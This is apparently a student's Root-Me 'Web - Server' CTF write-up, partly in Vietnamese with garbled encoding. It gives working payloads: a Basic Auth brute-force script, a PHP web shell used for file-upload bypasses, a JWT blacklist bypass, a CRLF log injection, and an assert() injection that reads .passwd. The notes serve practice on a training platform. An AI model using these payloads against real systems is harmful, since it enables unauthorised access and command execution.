Web - Server
F12 for flag
document
Syntax: X-Forwarded-For: <client>,<proxy1>,<proxy2>,<proxy3>
Change IP at client to private IP by adding an X-Forwarded-For header
It combines URL and hash md5 of that one, so that we just put other URL and hash of it.
4.HTTP - User-agent
change User-Agent to `admin`
5.Weak password
Copy import requests
from requests.auth import HTTPBasicAuth
url = "http://challenge01.root-me.org/web-serveur/ch3/"
usr = "admin"
words = open('common_password.txt','r').read().split('\n')
cnt =1
for pwd in words:
print(pwd,cnt)
res = requests.get(url, auth=HTTPBasicAuth(usr, pwd))
if "401" not in res.text:
print('Password is ' + pwd)
break
cnt +=1
6.PHP - Command injection
document
7.Backup file
Use dirsearch find some interesting files:
/web-serveur/ch11/index.php~
8.HTTP - Directory indexing
http://challenge01.root-me.org/web-serveur/ch4/admin/backup/admin.txt
With normal request we will get:
add Header to request:
Header-RootMe-Admin: True
10.HTTP - POST
11.HTTP - Improper redirect
Capture before it redirect
12.HTTP - Verb tampering
Ban ฤแบงu tฦฐแปng bruteforce ngแปi xร i hydra vร cรกi rockyou.txt ra spam cแบฃ tiแบฟng
temper แป ฤรขy lร chแป cแบงn ฤแปi method khรกc ngoร i GET vร POST lร ฤฦฐแปฃc, cแปฉ PUT vแปi DELETE mร phang
13.File upload - Double extensions
Copy <?php echo shell_exec($_GET['cmd']); ?>
set file.php.png and send to the server
14.File upload - MIME type
Change Content-Type to image/png and rce
15.HTTP - Cookies
change cookie from visiteur
to admin
16.JSON Web Token (JWT) - Introduction
"none" signature algorithms
17.Directory traversal
Try with ../ and fuzz
18.JSON Web Token (JWT) - Weak secret
bruteforce secret key: lol
POST and look for the flag hm....
19.File upload - Null byte
create: file.php%0a.png
Copy <?php echo shell_exec('id'); ?>
20.Install files
use dirsearch: /web-serveur/ch6/phpbb/install
21. JWT - Revoked token
source
Copy #!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, request, jsonify
from flask_jwt_extended import JWTManager, jwt_required, create_access_token, decode_token
import datetime
from apscheduler.schedulers.background import BackgroundScheduler
import threading
import jwt
from config import *
# Setup flask
app = Flask(__name__)
app.config['JWT_SECRET_KEY'] = SECRET
jwtmanager = JWTManager(app)
blacklist = set()
lock = threading.Lock()
# Free memory from expired tokens, as they are no longer useful
def delete_expired_tokens():
with lock:
to_remove = set()
global blacklist
for access_token in blacklist:
try:
jwt.decode(access_token, app.config['JWT_SECRET_KEY'],algorithm='HS256')
except:
to_remove.add(access_token)
blacklist = blacklist.difference(to_remove)
@app.route("/web-serveur/ch63/")
def index():
return "POST : /web-serveur/ch63/login <br>\nGET : /web-serveur/ch63/admin"
# Standard login endpoint
@app.route('/web-serveur/ch63/login', methods=['POST'])
def login():
try:
username = request.json.get('username', None)
password = request.json.get('password', None)
except:
return jsonify({"msg":"""Bad request. Submit your login / pass as {"username":"admin","password":"admin"}"""}), 400
if username != 'admin' or password != 'admin':
return jsonify({"msg": "Bad username or password"}), 401
access_token = create_access_token(identity=username,expires_delta=datetime.timedelta(minutes=3))
ret = {
'access_token': access_token,
}
with lock:
blacklist.add(access_token)
return jsonify(ret), 200
# Standard admin endpoint
@app.route('/web-serveur/ch63/admin', methods=['GET'])
@jwt_required
def protected():
access_token = request.headers.get("Authorization").split()[1]
with lock:
if access_token in blacklist:
return jsonify({"msg":"Token is revoked"})
else:
return jsonify({'Congratzzzz!!!_flag:': FLAG})
if __name__ == '__main__':
scheduler = BackgroundScheduler()
job = scheduler.add_job(delete_expired_tokens, 'interval', seconds=10)
scheduler.start()
app.run(debug=False, host='0.0.0.0', port=5000)
Use python request to post data:
Copy import requests
url = "http://challenge01.root-me.org/web-serveur/ch63/login"
myobj = {"username": "admin","password": "admin"}
x = requests.post(url, json = myobj)
print(x.text)
#{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NjA3MzI2MjcsIm5iZiI6MTY2MDczMjYyNywianRpIjoiNzFjYTYxYTEtNjU1Yy00Zjk5LTkwM2ItODViZjBjMjI4ZmQ3IiwiZXhwIjoxNjYwNzMyODA3LCJpZGVudGl0eSI6ImFkbWluIiwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.7koOz8cupf0o2ZtMA_pr_03cKXq-uIcTgp6zGKMts-g"}
The problem that we have to bypass blacklist because with each access_token it will be added to blacklist:
with rfc3548 we can see that the character out of alphabet will be skipped
underscore โ_โ , then replace with โ/โ
add == in the end of jwt -> fast way to understand
22. CRLF
Input -> fuzz
Thแปญ nhแบญp bแปซa username vร passoword ta thแบฅy rรต log ghi lแบกi username -> tแบฅn cรดng tแปซ ฤรขy
Mแปฅc tiรชu lร cรณ thแป log lแบกiadminauthenticated.
Copy ?username=admin authenticated.%0d%0aa&password=b
gแปญi payload trรชn url vร urlencode ฤแป server decode lแบกi
23. Insecure Code Management
doc
http://challenge01.root-me.org/web-serveur/ch61/.git
24.PHP - assert()
doc
doc2
Detect lแปi File Inclusion -> LFI via PHP's 'assert
Khแบฃ nghi:
Copy GET /web-serveur/ch47/?page= ...
command:
Copy ' and die(system("cat .passwd")) or '